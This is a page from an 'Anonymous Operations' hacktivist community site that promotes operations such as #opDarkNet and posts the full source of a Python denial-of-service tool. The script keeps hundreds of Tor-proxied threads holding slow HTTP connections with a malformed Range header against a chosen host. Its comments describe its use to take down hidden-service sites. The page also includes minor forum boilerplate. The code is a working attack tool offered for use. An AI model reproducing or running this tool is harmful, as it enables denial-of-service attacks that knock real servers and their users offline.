Anonymous LulzSec & wikileaks community

Anonymous Operations

Information

Anonymous Operations

Current Anonymous Operations & Updates

Members: 14
Latest Activity: Nov 7, 2012

Anonymous Operations - Information & Updates

Operation: #opDarkNet - Hacking & Exposing Pedophiles Everywhere

http://pastebin.com/u/opdarknet

Operation: #NewBlood - For new members of anonymous!

http://pastehtml.com/view/avgjfinss.html

 

 

  1. #!/usr/bin/python
  2.  
  3. # this assumes you have the socks.py (http://phiral.net/socks.py)
  4. # and terminal.py (http://phiral.net/terminal.py).  DDoS used to take out Hidden Wiki and
  5. # Freedom Hosting sites.  Based of Tor Hammer by entropy.  Uses SLLLLLLOOOOW HEADERS
  6. # Chris H. [redacted to avoid copyright issues] attack
  7.  
  8. import os
  9. import re
  10. import time
  11. import sys
  12. import random
  13. import math
  14. import getopt
  15. import socks
  16. import string
  17. import terminal
  18.  
  19. from threading import Thread
  20.  
  21. global stop_now
  22. global term
  23.  
  24. stop_now = False
  25. term = terminal.TerminalController()
  26.  
  27. useragents = [
  28.  "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)",
  29.  "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)",
  30.  "Opera/9.20 (Windows NT 6.0; U; en)",
  31.  "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)",
  32.  "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)",
  33.  "Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0",
  34.  "Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16",
  35.  "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13",
  36.  "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)",
  37.  "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
  38.  "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)",
  39.  "Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)",
  40.  "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)",
  41.  "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8",
  42.  "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7"
  43. ]
  44.  
  45. class httpPost(Thread):
  46.     def __init__(self, host, port, tor):
  47.         Thread.__init__(self)
  48.         self.host = host
  49.         self.port = port
  50.         self.socks = socks.socksocket()
  51.         self.tor = tor
  52.         self.running = True
  53.                
  54.     def _send_http_post(self, pause=10):
  55.         global stop_now
  56.  
  57.         self.socks.send("GET / HTTP/1.1\r\n"
  58.                         "Host: %s\r\n"
  59.                         "User-Agent: %s\r\n"
  60.                         "Connection: keep-alive\r\n"
  61.                         "Keep-Alive: 900\r\n"
  62.                         "Range: bytes=0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-"
  63.                         "Accept-Encoding: gzip, deflate, compress" %
  64.                         (self.host, random.choice(useragents)))
  65.  
  66.         for i in range(0, 9999):
  67.             if stop_now:
  68.                 self.running = False
  69.                 break
  70.             p = "X-"+random.choice(string.letters+string.digits)+random.choice(string.letters+string.digits)+random.choice(string.letters+string.digits)+random.choice(string.letters+string.digits)+": "+random.choice(string.letters+string.digits)
  71.             print term.BOL+term.UP+term.CLEAR_EOL+"HEADER: %s" % p+term.NORMAL
  72.             self.socks.send(p+"\r\n")
  73.             time.sleep(random.uniform(30, 40))
  74.        
  75.         self.socks.close()
  76.                
  77.     def run(self):
  78.         while self.running:
  79.             while self.running:
  80.                 try:
  81.                     if self.tor:    
  82.                         self.socks.setproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
  83.                     self.socks.connect((self.host, self.port))
  84.                     print term.BOL+term.UP+term.CLEAR_EOL+"Connected to host..."+ term.NORMAL
  85.                     break
  86.                 except Exception, e:
  87.                     if e.args[0] == 106 or e.args[0] == 60:
  88.                         break
  89.                     print term.BOL+term.UP+term.CLEAR_EOL+"Error connecting to host..."+ term.NORMAL
  90.                     time.sleep(1)
  91.                     continue
  92.        
  93.             while self.running:
  94.                 try:
  95.                     self._send_http_post()
  96.                 except Exception, e:
  97.                     if e.args[0] == 32 or e.args[0] == 104:
  98.                         print term.BOL+term.UP+term.CLEAR_EOL+"Thread broken, restarting..."+ term.NORMAL
  99.                         self.socks = socks.socksocket()
  100.                         break
  101.                     time.sleep(0.1)
  102.                     pass
  103.  
  104. def usage():
  105.     print "./ch.py -t <target> [-r <threads> -p <port> -T -h]"
  106.     print " -t|--target <Hostname|IP>"
  107.     print " -r|--threads <Number of threads> Defaults to 256"
  108.     print " -p|--port <Web Server Port> Defaults to 80"
  109.     print " -h|--help Shows this help\n"
  110.     print "Eg. ./ch.py -t 192.168.1.100 -r 256\n"
  111.  
  112. def main(argv):
  113.    
  114.     try:
  115.         opts, args = getopt.getopt(argv, "hTt:r:p:", ["help", "tor", "target=", "threads=", "port="])
  116.     except getopt.GetoptError:
  117.         usage()
  118.         sys.exit(-1)
  119.  
  120.     global stop_now
  121.        
  122.     target = ''
  123.     threads = 256
  124.     tor = False
  125.     port = 80
  126.  
  127.     for o, a in opts:
  128.         if o in ("-h", "--help"):
  129.             usage()
  130.             sys.exit(0)
  131.         if o in ("-t", "--target"):
  132.             target = a
  133.         elif o in ("-r", "--threads"):
  134.             threads = int(a)
  135.         elif o in ("-p", "--port"):
  136.             port = int(a)
  137.  
  138.     if target == '' or int(threads) <= 0:
  139.         usage()
  140.         sys.exit(-1)
  141.  
  142.     print term.DOWN + term.RED + "/*" + term.NORMAL
  143.     print term.RED + " * Target: %s Port: %d" % (target, port) + term.NORMAL
  144.     print term.RED + " * Threads: %d" % (threads) + term.NORMAL
  145.     print term.RED + " */" + term.DOWN + term.DOWN + term.NORMAL
  146.  
  147.     rthreads = []
  148.     for i in range(threads):
  149.         t = httpPost(target, port, tor)
  150.         rthreads.append(t)
  151.         t.start()
  152.  
  153.     while len(rthreads) > 0:
  154.         try:
  155.             rthreads = [t.join(1) for t in rthreads if t is not None and t.isAlive()]
  156.         except KeyboardInterrupt:
  157.             print "\nShutting down threads...\n"
  158.             for t in rthreads:
  159.                 stop_now = True
  160.                 t.running = False
  161.  
  162. if __name__ == "__main__":
  163.     print "\n/*"
  164.     print "********"
  165.     print "*"+term.RED + " To Catch a Predator "+term.NORMAL+"*"
  166.     print "********"
  167.     print " */\n"
  168.  
  169.     main(sys.argv[1:])

Discussion Forum

Know Your Rights!

Started by Storm. Last reply by 0d801cwwhg73a Jan 8, 2012. 1 Reply

Your computer, your phone, and your other digital devices hold vast amounts of personal information about you and your family. This is sensitive data that's worth protecting from prying eyes -…Continue

Tags: Lulzsec, -, Anonymous, Rights, Computer

Comment Wall

Comment

You need to be a member of Anonymous Operations to add comments!

 

Members (14)

 
 
 

About

Storm created this Ning Network.

© 2013   Created by Storm.

Badges  |  Report an Issue  |  Terms of Service